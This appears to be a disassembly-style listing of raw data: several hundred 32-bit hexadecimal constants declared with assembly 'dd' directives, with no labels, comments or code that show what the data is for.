dd 0DC45EE33h, 0F1F269D2h, 550832Dh, 0F45AE01Dh, 0E7562741h
dd 3A020107h, 275EB22Ch, 0B6FF9600h, 50387380h, 19672377h
dd 3214CDBCh, 0EFFCFE30h, 0DAEEA1Dh, 9BC98C8Fh, 0AD1CEA1h
dd 35D78BE8h, 4DF5F1F0h, 80EE3A0Eh, 0F51DD3AAh, 7A565A4Eh
dd 0D541C49Ch, 0F7D67EBDh, 19F8E2B2h, 0BCE59B3Ah, 62F45ADh
dd 0E8D5978Eh, 3872B3EAh, 0B3EF916Ch, 3AF338Ah, 0CC60F9B1h
dd 0D9332673h, 39CD9FDCh, 8411E323h, 0A8720CC2h, 0CF92C878h
dd 71D9746Bh, 9651BD82h
dd 0D638EF6Fh, 160D42A6h, 922FD9BBh, 1C34BCBEh, 7122101Fh
dd 0DCC8486Bh, 9AE513B3h, 0D2DD1218h, 2EBE30A3h, 16B3573Fh
dd 6659CA04h, 0B13E082Ch, 0AC67EEC8h, 0B32E209Fh, 144C4103h
dd 9F0B7136h, 0D6278924h, 658836D9h, 0BA8E6839h, 19724CC8h
dd 3D48057Dh, 0DAE6EA2Fh, 372A186Ch, 0A051D31Ch, 7DDE0AC5h
dd 0D0EEA475h, 0B8096BBAh, 398117C8h, 13E4A361h, 20717BA2h
dd 0C46C937Bh, 0B4C0CD1Ch, 82DEB80Fh, 0B888A58Dh, 58972E42h
dd 0B45549FFh, 5BB405C3h, 514C0328h, 8B92DAE4h, 53C4B3B9h
dd 2888982Eh, 0A3985CB7h, 0D69336A2h, 3012317Bh, 0EDA8FA08h
dd 5C294FD6h, 0D6B89B8Bh, 4CBF9799h, 0A9A239A4h, 77EB9748h
dd 0E33EBF3Eh, 61419D6Ah, 0E76C4CD9h, 849BBEF6h, 505C377h
dd 30033551h, 4BDB9BEFh, 5A79B788h, 0C73A9AE3h, 0EC6F8915h
dd 9CE81A35h, 0D6A3FDBBh, 0CB0570A0h, 416B0012h, 0D850EB44h
dd 9A3C5C50h, 0AADB87D9h, 0C5128C67h, 72624B9Ah, 0EB55BC9Eh
dd 0D26338B4h, 6F031B9Ah, 32EDFA7Fh, 2491006Ch, 2C80A587h
dd 7C67CD88h, 29FCCE33h, 1E1640AAh, 6BD50BE5h, 2FF7473Eh
dd 0D295D60Eh, 0D5D28F69h, 9971F3F1h, 0FEB472B4h, 0FF3E56DCh
dd 9E8CEFA1h, 0BB9ED84Dh, 0C03433E6h, 5B113445h, 57A3EEA4h
dd 0E6E8FA19h, 0F7AA9B8Ah, 8BB81E13h, 764018C4h, 112DFAC6h
dd 0AAFECDAh, 1CFC92D0h, 93AF41F4h, 9F41790Dh, 705ABF5h
dd 5D68B8BCh, 0C2016D1h, 5F8E6C49h, 83FB31DFh, 85CC1967h
dd 315E9309h, 0F6EF950Dh, 0CD87EB27h, 0B1B488FBh, 0F40305Ch
dd 4098557Bh, 0D98D1A0Dh, 1C20E805h, 0AEAFE628h, 0C859E864h
dd 9B749934h, 0D4E8CB80h, 0CE36581Eh, 80876CD4h, 89ACB904h
dd 0C1E817A8h, 14D2CB85h, 1C87E5B9h, 1FC8B609h, 0A3251C10h
dd 46C20C99h, 6BA181FCh, 810069C6h, 0DE1722ACh, 4D2221F6h
dd 0CB53CD5Bh, 6CE10673h, 1F8B2F4Fh, 4F711C24h, 6610C0E1h
dd 6FD3C5EDh, 1BED1EF9h, 795B2FD6h, 4748AFBAh, 424D0DDCh
dd 0D3A418E0h, 0C43D32AEh, 5C99578Bh, 5FF374C8h, 7D223E1Ah
dd 26780393h, 0F4B5AD47h, 0C2D31E9Fh, 0F165F246h, 0CEA49B53h
dd 68E3C4C8h, 8E6E53B6h, 6A69B3C5h, 85A7BE13h, 57CB9F76h
dd 0BBE8A741h, 0A6968D2Fh, 2AC883C1h, 80654257h, 5565ACE6h
dd 45DD7254h, 0B64ED1A2h, 0B84B56D4h, 0A01D0529h, 4BA81446h
dd 7D2DBB3Eh, 20030267h, 1270662Ch, 0CDA2787h, 6DB8E890h
dd 79DC026Ah, 0E627CAC6h, 0D93B7FEEh, 0B3160D9Fh, 61834058h
dd 3E85B977h, 0C1A5E9A4h, 0C4748056h, 1936835Fh, 0E53FE4FBh
dd 0A1D5DA58h, 0BD30328Ah, 0F728EF57h, 80BB899Ch, 0F727E81h
dd 836B8DD1h, 370666ACh, 123D1C9h, 7246A0EFh, 320717F4h
dd 97535D33h, 1D42420h, 0F6B7EAC8h, 0C5047B07h, 2B0085ECh
dd 0BB000867h, 642E6A14h, 42297107h, 565AF18h, 0C2472538h
dd 0EA4E97E5h, 0BDAE4E23h, 151928F6h, 859EFE61h, 7C93B654h
dd 656C5Bh, 0CF0FBC9h, 0D9A93C05h, 86CE595Eh, 45121409h
dd 26263739h, 0E61EE479h, 5AC36DB6h, 0E7706B8Dh, 0C05FD4E3h
dd 61207C3Dh, 3910713Eh, 5FDED776h, 47C0B6D4h, 8FFDFDD2h
dd 64222586h, 73F2BDFBh, 396C6541h, 519C3B19h, 555A2529h
dd 0E24FC24Eh, 0C80859E8h, 0D5CCA3Fh, 0EE4E3021h, 21A9AF7h
dd 63D41F41h, 2D597596h, 25B8BCDEh, 0FEF82672h, 991CFE76h
dd 0F1F13390h, 592F006Dh, 0B7D80FDEh, 0E8169E69h, 6ACE7115h
dd 1972E013h, 56285F17h, 395D155Ch, 4AB84364h, 5382BA70h
dd 0B1343E13h, 27C6A044h, 0D88D1827h, 0E059A626h, 3DE69066h
dd 0FF06825h, 2E400435h, 0E3F96AECh, 225E87B4h, 5D934F75h
dd 48955CC7h, 505EB76Fh, 8A5A80FDh, 0A94B978Dh, 9406B2F2h
dd 52315A6Ah, 8E91FE5Eh, 0DAFEFA96h, 87BDC7D3h, 20B85A89h
dd 4966E2EDh, 20885214h, 5F3657BBh, 0DA7CA837h, 77CD1B5h
dd 0EDD6ABECh, 0C8C10FDBh, 0A47B57D5h, 0CCDAF523h, 826C344Ch
dd 0A31FD513h, 7A524611h, 420EC6A1h, 77DB658Fh, 0AB9A9918h
dd 0EA22AB35h, 0BF9243CBh, 8A2F215Dh, 21CE9F10h, 75CD0EA4h
dd 0A7AF713Eh, 0D038E18Ah, 313338A0h, 0EFF13AB8h, 2FAA5791h
dd 5AB0D3ADh, 0F5D8501Bh, 53A52ED2h, 41B3CDF6h, 8AE875D6h
dd 8389D9D4h, 7CDD3325h, 23C9A407h, 55FBDDADh, 1897D8F7h
dd 29B14873h, 5296488Dh, 0BEA4BAD5h, 904237F6h, 6BF6FCFBh
dd 0E7EA2DC1h, 59E8C3EDh, 30E1AF2Ah, 0C1934CD7h, 0A2EE0DF7h
dd 772F002Dh, 0F2DBFBD5h, 74B365B9h, 0A721F28h, 9793CCD8h
dd 19A29FFEh, 11EFFB2Dh, 2C83CD14h, 0D5A0A85Eh, 67265976h
dd 0DCA7FBE8h, 0F2AA3A14h, 2EEEF2C2h, 1CDF349Fh, 2B000108h
dd 0EFF9C7A3h, 0CF04FFDFh, 5C6168B5h, 0E4AE551Fh, 4F6DA3FDh
dd 0C34DECF1h, 9D20886Eh, 48C8109Eh, 0BEEA2B92h, 0CD74804Eh
dd 79DFE49Bh, 0CE9E241Ch, 56D4C14Ah, 0D76B3490h, 0C251A9D5h
dd 0A4F93F48h, 0FFD08D4Ah, 28B9D26Eh, 15B7816Dh, 7FECBC4Eh
dd 3D64232h, 4CE13699h, 295A70ACh, 4164776Eh, 0E1191627h
dd 0D2D0E402h, 788420C3h, 72C48E2Ah, 0C92398FAh, 72C64CF1h
dd 682D376Ch, 7F38EC87h, 9C1A87A3h, 55CFED2h, 1423836Ch
dd 86ED0321h, 8732DA5Dh, 4E9134CCh, 9E475B62h, 0D5FD98DCh
dd 44E38CAEh, 0C296B29Dh, 524BE984h, 5D7237DDh, 0EE47E406h
dd 57E6DD73h, 0F0982136h, 7F7F3C36h, 11E3775Ch, 0DADA1174h
dd 3157342Ah, 2120E377h, 0E1DA2130h, 56FC2027h, 2849B37Dh
dd 0FD0A3234h, 52CD1230h, 3D204167h, 0CD20C3F6h, 0AD1FC056h
dd 3BB78814h, 0DA27207h, 22AE7E69h, 0F1EA18B3h, 166DF2E6h
dd 705072DCh, 0A48C537Ch, 0B0323387h, 0B8C3694h, 0C5AE5DEAh
dd 97E8B6CBh, 52278FEh, 0DB91A713h, 0BCD7831Bh, 0D9FBFCDCh
dd 0EA92239h, 1CB750C9h, 76B0A6B2h, 903F68A0h, 9239AD73h
dd 85C13527h, 0D14DE725h, 9F85219Bh, 225C106Ch, 900BD586h
dd 0ECB9A9D6h, 221B541Ah, 3A10F921h, 0DFD36544h, 629F3F94h
dd 0D59CE0F7h, 0FD426360h, 0F08E6A87h, 0FD0FD87Fh, 0A2BDA658h
dd 4AB02DAh, 76E644D0h, 6EB28F08h, 8C428FD9h, 0EB50F4F0h
dd 0E378F0C5h, 0C2CA035Bh, 6D12C04Bh, 0F2820B4Eh, 91A06A9h
dd 94F292A7h, 0D6DEB030h, 7845588h, 97516C3Ch, 20027482h
dd 8C98B6D4h, 1CE04023h, 9D54678Fh, 8D77FE94h, 0E1BFCB14h
dd 0D39E1424h, 0BA17CC8Fh, 7BC852F9h, 56435878h, 257899FAh
dd 2925ED50h, 0C492ABB2h, 98D3BDACh, 7CF91FDCh, 0E9056E56h
dd 38B15CBFh, 0AED0E6ABh, 9B1775F6h, 17E27DDh, 7D6F040Dh
dd 0FB5CE48Eh, 8E35A71h, 167E7613h, 15E98B8Bh, 7621EB1Ah
dd 31D76714h, 0B465284Ch, 63181B00h, 35C8C8Dh, 7D7D803Dh
dd 0D1EF3015h, 10EB745Bh, 8057D8AEh, 1705F731h, 0E3F166E7h
dd 44CA9EFh, 9D8D1DB4h, 6022EB37h, 2C6F302Fh, 0DEB7D01Bh
dd 0B4984E50h, 4B92A682h, 6B2479FDh, 0AFE4CED9h, 0C88D441Ch
dd 0E0BACC04h, 35EA8E45h, 0CB9E421Eh, 55154569h, 7DB4E4Bh
dd 1BD00AEAh, 124FA4C9h, 0E0638ACEh, 0DB36DCE3h, 0DECED29Dh
dd 1359DE71h, 0EFBFDCB8h, 23489AC3h, 0F9602E33h, 0F8167A83h
dd 0D841F946h, 0CF141A11h, 4837D1BDh, 4B5CCB01h, 89FC26DBh
dd 0BA065F7Bh, 85E2A2B4h, 0C8C0DFA3h, 0A1569139h, 0E1CA7A74h
dd 247B5594h, 4394CA83h, 1FB5571Ch, 51A0A369h, 77D2666Ch
dd 0E331A64h, 7DF4864Ah
dd 21FF96E7h, 8B6FE56Ah, 0EEB43DF6h, 0C423DAE9h, 7B9C3376h
dd 0F9D395E7h, 61093EB3h, 46598CF6h, 3B2275CAh, 0B32AABECh
dd 66C9A843h, 5463883Eh, 8CDEFAE7h, 3C76B9D9h, 6A1D3FC6h
dd 2BC1F9BBh, 0A7967BFEh, 0BA10C1EFh, 0C0AA3F74h, 0DFF1D5C0h
dd 0BA295A56h, 80D260F6h, 0F5B40B5Ch, 95BF128Ah, 79407368h
dd 0F35A5684h, 9F617F90h, 0CAFEBE9Eh, 96DFB01Eh, 8D79C2B7h
dd 0C25056FCh, 6D640096h, 70470A9Ah, 52DA95DBh, 0C93AC9EFh
dd 9E53B5BAh, 0DCC22028h, 0DE09A863h, 0A73D1D84h, 73D81AEEh
dd 6F942F13h, 6CA71D55h, 0A6EE0244h, 0DD193F39h, 50C0ACC2h
dd 0D2AB0831h, 32F04338h, 53BAC406h, 4F96A041h, 80B6A61Dh
dd 3E029676h, 1847BE46h, 0C56F8598h, 935E3D92h, 26730FD0h
dd 0DB3A3B47h, 9D6A9AC5h, 5B9C4567h, 7CB5C80Ch, 8F20D54Ch
dd 1B955D48h, 55B277Ah, 0B1A13EB4h, 0EB75EBA6h, 0A22216A6h
dd 72A72010h, 5E4C0A6Ah, 0C8F3C685h, 95CAC112h, 0EB1DF794h
dd 0C717C5BEh, 3F017153h, 84605760h, 7FF8E297h, 57100D2h
dd 0A69EBF0Eh, 9FD87EBCh, 15514B67h, 0F98AB7A8h, 0B56B710Eh
dd 0B194DDC8h, 6F3AC910h, 0C9057B93h, 974935A8h, 9475EC59h
dd 9C44240h, 0AA263296h, 0BAF56053h, 1DFCD49Dh, 0A5D92968h
dd 0F27865A5h, 0D01C8858h, 0E302B3EDh, 20590E37h, 5C45C071h
dd 0EE502A10h, 272C94Ch, 27DD548Eh, 8591FD0Fh, 67E6EF52h
dd 7F8A846Bh, 0B4F62776h, 618E8653h, 0BE2DB453h, 0F7CD82BFh
dd 0C87FB7C0h, 0E26B31D0h, 3BA60EEDh, 5B19C13Bh, 2DBF49F3h
dd 76848621h, 0EA293A30h, 256CAA3Ah, 271A82Ah, 196C75C6h
dd 0B8001103h, 81E5994Eh, 5AF6970Bh, 7E4C459Bh, 0D8D6AEDCh
dd 5757B198h, 2A407BF3h, 0BD183F56h, 41CAB01Ch, 8E21F780h
dd 9F554199h, 24D6401Fh, 2E37E15Ch, 350C3657h, 6C6395CEh
dd 0A71713C7h, 3185612Bh, 0C0D32995h, 0D9A2D011h, 0F6FDF659h
dd 3BEC0127h, 44CDEB61h, 0F15A59B5h, 0D1BAD10Fh, 0CDA5D3F5h
dd 484452DCh, 8EC9D4C0h, 0C3013DBAh, 637F029h, 86ECB40Bh
dd 7BB7E08Bh, 0DC3D6754h, 0F2774C0Dh, 0EB66D106h, 2139057h
dd 0B2F121Ah, 0D1E432BAh, 0BCA05ADCh, 159EA394h, 0B52DC6F9h
dd 15052AFCh, 0E7810016h, 66CFE16Fh, 0A474F436h, 2B4514BCh
dd 8F1C0E77h, 0E7B463Ch, 0DD5B0B3Bh, 0C784A4C1h, 5977A06Fh
dd 2452C90Eh, 6BE2E059h, 0B4A0F9E1h, 45D6A046h, 0F373C91Eh
dd 0E85F3038h, 293079CFh, 0E9E00538h, 28E5F84h, 321B9968h
dd 0F9274601h, 7A74257Bh, 1C6F88A3h, 0AB3BCA7Bh, 0AE893AFFh
dd 62600A57h, 3671A4C4h, 8AF15341h, 59CAFBB8h, 63A19309h
dd 0E126D253h, 4CB9496Fh, 0BCD037DFh, 585B9368h, 8BDA55FEh
dd 0FA674D7Eh, 6CDAE45Ah, 43B5EC49h, 34A68EFDh, 9DBF776h
dd 9950AE0Dh, 0CAB70AA3h, 4DA0596Ch, 0D8292C5Dh, 0B56393D1h
dd 0DF6B3924h, 60EE3A77h, 6C5C6C92h, 7C59FA9Ch, 0D3CD0D27h
dd 3209723Ch, 7A87E165h, 0D3FD5B7Ch, 0A36DB863h, 85826F03h
dd 0F6339DC2h, 0B29B2538h, 99A641DAh, 5E17536Ah, 0CA6FB3BEh
dd 57D5F9F1h, 0FEAAA220h, 7EEA6314h, 7B5347A6h, 73CF796Fh
dd 7B333304h, 102F092Eh, 0DE113730h, 8D473D39h, 0DD5A5835h
dd 7957FA6Ch, 9B46BA42h, 0AE0ACB9h, 2400FE38h, 9AC4F387h
dd 0E3B716EAh, 94A35099h, 0FAFA42F1h, 85B5F29Fh, 0A116B24Eh
dd 19C673E6h, 7E9CE39Dh, 0C71172D5h, 0CB781607h, 0E5DB0489h
dd 8EFBCC6Fh, 0B5E2906Fh, 5A3E981Dh, 2EB8DE83h, 0A228926Ah
dd 0FDE93B09h, 0E49E727Ah, 9B176FA2h, 0E126EC1h, 0B1650C97h
dd 82D4861Eh, 3D59CA14h, 61327970h, 67E2688Ah, 0FAD20E61h
dd 0EC2606D2h, 0C5A021C0h, 0CE5441DAh, 93326820h, 1D276FAEh
dd 0F6FA4674h, 0EFD2C9DBh, 868776E9h, 8FBDBE79h, 0D74E427Bh
dd 0DE2E65B6h, 4815E054h, 55FDC403h, 6C3B178h, 690F9F31h
dd 0A72EB75Bh, 2090D20Dh, 0D3917786h, 0EFA2AE4Dh, 0D6616F8Ch
dd 0E45001C1h, 5710A29Fh, 0D1E4B15Dh, 414FA1A2h, 13F986D8h
dd 7CE2B5B7h, 6A5F860Ch, 8F832051h, 0B5514105h, 0ECEA1632h
dd 3EB8D257h, 6612237Dh, 29A18C7Dh, 26DDFCEFh, 44DAEEFEh
dd 0A240A5EDh, 88FB9ED8h, 0B62B0772h, 3F665E3Fh, 6228B961h
dd 9E14923Dh, 0AC5A034Eh, 0D30A78BAh, 0D04FF952h, 0F8AC33A7h
dd 0FD717C41h, 0EA318239h, 0F9328DBCh, 0F97A4265h, 0BEE8AE7Ch
dd 548E4E1Dh, 83A6FBB7h, 612EC11Ah, 0A082B539h, 7D324714h
dd 0B13E59FFh, 0BEF12262h, 0A7E50D57h, 62E55AEDh, 9C6AE4A1h
dd 0C4854DBEh, 279462DDh, 81D6CE84h, 0DE0C0F69h, 56F8213Fh
dd 4BFB1D0Bh, 0BEECF7BBh, 71A73B68h, 0BD9821F9h, 227288CFh
dd 136C1DADh, 0D11F2F07h, 6BB082BCh, 0F0E7723Bh, 159AE813h
dd 920C5C49h, 0BF5AE892h, 0E87C5A6Ah, 7899FDC4h, 8583869Dh
dd 0C2840DDDh, 58DB27F9h, 188F6160h, 0ED1C8616h, 983A8AD8h
dd 98E0BE0Ch, 92863B10h, 0E4883562h, 2A66EA1Bh, 3D521DE6h
dd 5718EEBBh, 0B2B647Ch, 4AAE7D06h, 0CB410EB2h, 16B9E88Bh
dd 725459ABh, 4116A83h, 77ABDDDFh, 0D2AD7F7Bh, 536D5A0Ch
dd 0FBB08515h, 71F203E1h, 696540D3h, 0F138E073h, 0C6910282h
dd 8A902F56h, 0CB3AB405h, 0DA0DB865h, 9F262656h, 465792CCh
dd 2C57E7FAh, 0A95CC73Fh, 0B1F87E71h, 758E3CCEh, 0E0B24342h
dd 0F540DD3Ch, 665F2615h, 3054A0B2h, 3AD021D0h, 46696860h
dd 41987E5h, 61E3FC97h, 0F0CE1E25h, 0C7805948h, 0B18684A5h
dd 84A7AF8Ah, 789CB90h, 34997654h, 8EE98863h, 0DD6C24D5h
dd 423A8B44h, 0FAEEEF5Ch, 42ACED50h, 6E82865Fh, 823E526Eh
dd 0F98C5F81h, 83685F0Dh, 0C0DD4BFEh, 55F3C0C7h, 5F2B2897h
dd 7E6554EFh, 0CB96199Ch, 0CA0D0E6Ah, 0EAC11DBEh, 95B39F6Ah
dd 0D3C342C7h, 386CAFFCh, 95895FDBh, 425D5116h, 3BA23768h
dd 0EE584D4Fh, 2E80F38Bh, 7AAB5CDEh, 0B8317B9Bh, 3F165FBFh
dd 0D8EA080h, 0F88506DFh, 24FC52A9h, 4838216h, 81C1E96h
dd 61B8F048h, 28955521h, 59D9D336h, 0A6D2DE27h, 7728F173h
dd 0D54D7720h, 4E8A0F82h, 391D8904h, 0A3EC9CD7h, 8A0BDC30h
dd 9FAC4CFEh, 0A1772DB4h, 0D61404F2h, 0EEF6403Fh, 53593EC7h
dd 0E5C6E6D7h, 0A059B6Dh, 9E24D7B5h, 0A280414Fh, 0DA23A989h
dd 0A01DE827h, 0B2601C45h, 0B93D65DEh, 4AB86023h, 0F389A210h
dd 590C4257h, 0E80975B0h, 2091D071h, 0B328B8FDh, 0C5319289h
dd 0AA35E6AAh, 37A85E84h, 0FB98B01Fh, 0F32A2557h, 0DFB9990Ch
dd 10CC4738h, 7E5CAD57h, 783E0570h, 68CBEE64h, 34B77F8Ah
dd 0C9F0FC63h, 0C52FDE75h, 9E351646h, 0DD762A12h, 3CB17223h
dd 2963C91Eh, 0B22A002Dh, 0CAEA4556h, 29424C0Bh, 0F29F7F5Bh
dd 30CD08C5h, 46EBD770h, 3DC6A73Ch, 9C3E0829h, 8FE6805Ah
dd 0F18FE976h, 2F1DBFF1h, 0D87D66Ah, 0C42C0667h, 5A94F9ECh
dd 0A2214192h, 6E0085A0h, 0C0B1D7h, 18B740D6h, 79680F98h
dd 659B0016h, 0F0C4DF24h, 99DBFC96h, 4364F699h, 0D16DC8CAh
dd 8C8FFADEh, 4FDCE136h, 8F985F60h, 835A2D66h, 3CDFFD1h
dd 0D7FADA6Eh, 15FB077Bh, 0F35F30D9h, 378EF02Ah, 3DED05DFh
dd 0A46295CFh, 417D9C6Dh, 3EE7DA69h, 0C31A52B1h, 0B2843E17h
dd 0EE8A4274h, 7BA86CFh, 7F06E250h, 0DB304AE4h, 33E775ADh
dd 60DDADEBh, 59FA5DDEh, 0AD85CC2Fh, 34A31F1Eh, 0D2295676h
dd 0A4B34778h, 0E471BA57h
dd 50879227h, 3B2E802Ch, 42796461h, 5FC7622Ch, 6E0BC2D3h
dd 7B7F4667h, 0D466FDC3h, 85C14DA5h, 5E0E015Ah, 0FC472273h
dd 1BDF6800h, 390E074Bh, 6FB525CAh, 0A1FEC1A5h, 0A0915FAh
dd 9521D758h, 0AE53AF20h, 42455F8Bh, 10C4D806h, 356BFFAh
dd 0BDD63A81h, 7EAF2426h, 696EFC8Bh, 0BCA67C00h, 450B0B3Ah
dd 0B867CF4Dh, 8042FBBh, 0DD0E43C3h, 0C21FE42Fh, 98148DCCh
dd 0B57B005Dh, 0B7CE76AAh, 34D95FCDh, 874595C4h, 55C75D9Fh
dd 3F63BFE8h, 76A36511h, 53E64F2Bh, 0B1547DDEh, 0C887FD41h
dd 2E000450h, 626B33EEh, 0A9A61535h, 76C26D8Ah, 0D1F46790h
dd 51E553B4h, 237CE854h, 9E8CC819h, 0CE99CF6Eh, 65B8DFC7h
dd 0B6B83887h, 93D89E46h, 0BCAAB971h, 0B2E58EC0h, 0B35767F0h
dd 0B593C625h, 0F95FA197h, 0D18E0084h, 54779829h, 4C407478h
dd 0EE84A438h, 1A56AD7Dh, 82B0FB36h, 44A2073Bh, 0DA84B66Dh
dd 31994436h, 4E6B51FFh, 0C792452Eh, 15FFF7A3h, 1F72F21Fh
dd 655A9E03h, 3F2E17C6h, 0C77A98B9h, 42A6684h, 6CE13798h
dd 0C184F321h, 30B5593Ah, 52CA02D2h, 5E94C331h, 85843C40h
dd 15F08029h, 0EC6EF69Bh, 1D4CC581h, 846E334Bh, 0A6A9346Eh
dd 4496285Dh, 0BB570A3Dh, 4B704018h, 0E081B1Ch, 7B73131Ah
dd 0A49985FBh, 0C0530061h, 806FBB4Fh, 0F4CC182Ah, 70265B54h
dd 6498EAE5h, 5460CD8Fh, 490B811Ah, 2DB23BEAh, 8F455F41h
dd 4923F57h, 3E12C7F1h, 0CFA15F00h, 2F3379E7h, 0DDD8190Fh
dd 284135h, 1637427Ah, 746FB8A5h, 0B5BEF7F2h, 1A394735h
dd 0FAD31AE5h, 0D299CE9Eh, 0E75ABAF8h, 9A3C11F8h, 0F462ED43h
dd 29AF078Fh, 240275B3h, 67815ECh, 55644E2Ch, 4E118E3Ah
dd 8D45FEE6h, 0EDA880F5h, 0CF7F5EA7h, 40DFFADAh, 22FEAE2Fh
dd 462E4F03h, 5EB6AFF8h, 0BDB0875Ah, 0F2DF3A57h, 6D65F6B8h
dd 0F233F90Ah, 61A65582h, 24B5CF99h, 1FD735F6h, 0C360CD26h
dd 8F4D73B4h, 0D6F0CE9Eh, 0B8C9F933h, 0BA8B3AD8h, 0BB75647Fh
dd 0B152E2C1h, 54714340h, 0F35BA864h, 3CCC7D44h, 91E8893Ah
dd 0EB27924Ch, 0CAD9A2Fh, 1E6EEA2Ch, 726122F8h, 46C145B8h
dd 1A8B0C63h, 764F9094h, 0CD42EB88h, 88B8CCA1h, 0D3D1467Eh
dd 16C219B3h, 0E178C20Bh, 0F76A0062h, 0AEA001AAh, 64CF4AA5h
dd 38F0867Bh, 7FDD55F2h, 980589A7h, 0C6693F25h, 709B6BA0h
dd 712B2EF6h, 0B3717BA1h, 5B3B78A3h, 2C15759h, 0AF370794h
dd 141B91D8h, 3748C3A1h, 0E3168EC9h, 262D4788h, 59559FD8h
dd 0EA414F18h, 0F07E64FFh, 0D97304DFh, 4C96A676h, 0B2839C6Ch
dd 66D9B54Bh, 0EBA329C5h, 2751C04Bh, 251BC6E1h, 1C5C1639h
dd 80190F47h, 0A9CCBD70h, 623A8728h, 0C257FA64h, 16FB571Ah
dd 0D564E330h, 9869B908h, 430C484Bh, 969C016Dh, 6B985292h
dd 5AE9DD14h, 839B160Ah, 53219372h, 4921AFD6h, 0E2E968E9h
dd 0BFF23C7Bh, 9BC336CCh, 0F6872CBEh, 0AC8D83FBh, 0EC905DAFh
dd 42CC2D45h, 0F21B3C97h, 2ACD26E7h, 2805FC1Fh, 6BA2D137h
dd 729C401Bh, 0BF6C3F11h, 1D217F52h, 44BF95A2h, 6E8B9FF9h
dd 750D55F3h, 1F7847C8h, 59FCB444h, 7F094904h, 63BDD70Bh
dd 0D24E310Ah, 7230233h, 0B52ABF2Dh, 20BB4F4Fh, 5EB536EEh
dd 0A20C4FC9h, 4B59E232h, 3AE7FEB2h, 5BA9E384h, 0EC00BBAFh
dd 0FA39201h, 5316AFFh, 12FA5C7Ah, 78855C13h, 0F78E7F9Bh
dd 74FD57DAh, 0B224D849h, 464B399Dh, 7B47A269h, 2E904D81h
dd 1B3680E8h, 4F15ECFBh, 8EC3E8BBh, 42AB5D90h, 40867E89h
dd 58BB6851h, 0B1375B1Bh, 0DDBD8E91h, 7E09FF94h, 0D67F9431h
dd 0C32C59A0h, 0FD9E66C6h, 423F496Ah, 0E6E243F0h, 0FC8F6BA1h
dd 311BB61Ah, 7FF0A244h, 0A0BDD6E0h, 0B7E6BC66h, 6DAB958Ah
dd 45B40C18h, 0D98DD69Dh, 8923C97Ah, 502069F2h, 7E9C9AF7h
dd 10068DFFh, 5B49B36Fh, 43D36B17h, 0C2219D18h, 320EE00Dh
dd 3307F2FDh, 48BF2307h, 0EC212920h, 6E3601E1h, 0ED3EC8BAh
dd 1F8BC37Dh, 0B26D8840h, 0E60A464Bh, 443B8083h, 0A5819EFFh
dd 0ED039C56h, 14FE1786h, 0C2BED7FEh, 525B699Ch, 0F08C47C3h
dd 0DBE43FC0h, 0E357BB89h, 0E865BE8Ah, 0AF0E1B8Ah, 0D5812048h
dd 2F5540EBh, 0D17EA0Bh, 4E97294Dh, 99200110h, 3700EB4h
dd 762DFAB3h, 3CB23FE6h, 44611F17h, 9F937E7h, 1B4C838Ch
dd 0F6AD301Ch, 7EA05A8Ah, 545612A9h, 2ED02CCAh, 0CE94C8CFh
dd 302E40B5h, 654B6242h, 0EFA73689h, 8B2FBC98h, 4EDE2EDEh
dd 0DEF41AABh, 1674B0FBh, 0E0709B2Fh, 0EFEFA07Fh, 5EFBE70Dh
dd 8851F55Ah, 0C8091FB3h, 0CD7EFF72h, 0F74FDA04h, 8180ED23h
dd 15952D0Fh, 69E6480Ch, 535075AFh, 5340576Dh, 0A401BB8Eh
dd 3095D669h, 641B1DA8h, 0F0BDADC5h, 93283C4h, 5559A941h
dd 12254522h, 7F316CCDh, 298B1E81h, 0E4BC09D3h, 7AF62CEh
dd 48E73E10h, 0D1370BCFh, 6303005Ch, 14F6F130h, 5EAB2841h
dd 43B68277h, 2D461990h, 0EA79DF91h, 75CC6F5Dh, 9FBC6925h
dd 0C5E2BBF1h, 51BAFB7Ah, 5CD8676Ah, 34E7FD1Fh, 0B4052A24h
dd 0AC41693Fh, 2C87FD71h, 4A32BAC0h, 0A638547h, 0EF55860Ah
dd 2A56FC04h, 508FCE6h, 8A0161A8h, 8A1EA84Bh, 0B4058A19h
dd 6767713Dh, 5E89C168h, 41CC4B7h, 4F9A6496h, 55A79ADh
dd 1759F68Bh, 1462CB55h, 981483ABh, 0E59B9506h, 0C0592AE7h
dd 6B463922h, 0E129A0B1h, 0E83D29F2h, 29BE45E1h, 4729E35Eh
dd 0CE0697C0h, 0A3C5ED65h, 0CD2B316Fh, 0D2F2E3A8h, 0E635B304h
dd 0F63918C8h, 0D8C5D620h, 36F8601Eh, 8B0F0E87h, 0EEC5057Ch
dd 8001B6E5h, 0B5AD9D9Ah, 0DC0921E2h, 0F0E3FD76h, 0F9E86BB1h
dd 33A60706h, 34D64D4Bh, 0B28FA189h, 6099F069h, 73254FDFh
dd 1AD309h, 0A57FB895h, 614074DFh, 0CEE0D3BEh, 0F8565B15h
dd 6066F964h, 0EB86E8Eh, 7073C276h, 882BEE0Ah, 7AC60DFCh
dd 0D42C30E0h, 0A123C234h, 0F5A3E937h, 0E3C7774Ah, 0E57130E1h
dd 3A587444h, 4257EBF5h, 8C9F4EBDh, 84964332h, 736F156h
dd 1F406737h, 388290C8h, 829B8185h, 0B90BCB12h, 55A4BFC7h
dd 0F8988D04h, 1E5D81DAh, 0E27083Dh, 0A435E291h, 933E92E0h
dd 7FD42C0Dh, 5DFCD0Ah, 8E2CB3A8h, 0F587D5FEh, 19109EBEh
dd 0AEF76B74h, 4BF5B0D9h, 74F35611h, 0CA9C6EAAh, 71224B63h
dd 0F97DE7Dh, 971E0DCDh, 90271EC4h, 0EC508ACDh, 0B6416890h
dd 69204A67h, 88C05312h, 9C8F3597h, 24B82427h, 0EC05F9BCh
dd 255E24E1h, 41428C0Bh, 0F52732CEh, 2D71401Dh, 738EF1C6h
dd 0FFFD7D62h, 86FDFED2h, 3EECC01Ch, 1367FCDFh, 6BE01173h
dd 1840AB3Eh, 584B8E53h, 385C7D91h, 0F1A3BE6Eh, 0FC28BBBDh
dd 0C154EC47h, 5D394145h, 2C0C0521h, 0E329B1F2h, 0D5721558h
dd 0B85B8FF5h, 0B9A32D97h, 334BD4C7h, 0F0D3E6DEh, 3B43DD18h
dd 0AFC15A4Fh, 815ADDAFh, 9B784752h, 95A3E13Ch, 49E37E8Ch
dd 2860690Ah, 0B7CA4FA5h, 7EB2CFFCh, 16828999h, 4CAB8E45h
dd 5736306Bh, 5387B455h, 2A6340DAh, 659863E4h, 6B2679Dh
dd 0A7E3115Dh, 0C5C2B979h, 57DCF080h, 0CA3E7A8Ah, 32B03D2Bh
